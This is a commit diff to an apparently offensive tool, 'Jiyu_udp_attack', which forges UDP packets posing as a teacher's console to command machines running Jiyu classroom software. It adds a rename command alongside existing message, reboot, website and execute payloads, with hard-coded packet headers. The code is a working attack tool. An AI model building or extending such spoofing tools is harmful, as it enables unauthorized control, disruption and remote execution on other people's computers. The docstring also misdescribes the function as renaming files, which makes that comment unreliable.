feat: Add pkg_rename function to package rename command with identifier

Author: weilycoder

Jiyu_udp_attack/__main__.py

@@ -10,9 +10,10 @@
 """
 
 import argparse
+from os import name
 
 from sender import broadcast_packet
-from packet import pkg_message, pkg_reboot, pkg_website, pkg_execute
+from packet import pkg_message, pkg_reboot, pkg_rename, pkg_website, pkg_execute
 
 
 if __name__ == "__main__":
@@ -83,6 +84,13 @@
         metavar="timeout [message]",
         help="Reboot the target machine, optionally with a timeout and message",
     )
+    group.add_argument(
+        "-n",
+        "--rename",
+        nargs=2,
+        metavar=("name", "name_id"),
+        help="Rename the target machine",
+    )
 
     args = parser.parse_args()
     teacher_ip = args.teacher_ip
@@ -107,6 +115,9 @@
                     payload = pkg_reboot(timeout=int(timeout), message=message)
                 case _:
                     parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
+        elif args.rename:
+            name, name_id = args.rename
+            payload = pkg_rename(name, int(name_id))
         else:
             raise ValueError("Either message or website must be provided")
 

Jiyu_udp_attack/packet.py

@@ -130,3 +130,19 @@ def pkg_reboot(timeout: Optional[int] = None, message: str = "") -> bytes:
     )
     data = format_data(message, 256)
     return head + data + b"\x00" * 258
+
+
+def pkg_rename(name: str, name_id: int = 0) -> bytes:
+    """
+    Packages a command to rename a file or directory into a specific byte format, including a header.
+
+    Args:
+        name (str): The new name for the file or directory.
+        name_id (int, optional): An identifier for the name. Defaults to 0.
+
+    Returns:
+        bytes: The packaged rename command as a byte array, including a header and formatted data.
+    """
+    head = b"GCMN\x00\x00\x01\x00D\x00\x00\x00f\xb1\xe4\x92?\x9a6J\x94:=\xa3\xbd\x97`A" + name_id.to_bytes(4, "little")
+    data = format_data(name + "\x00", 64)
+    return head + data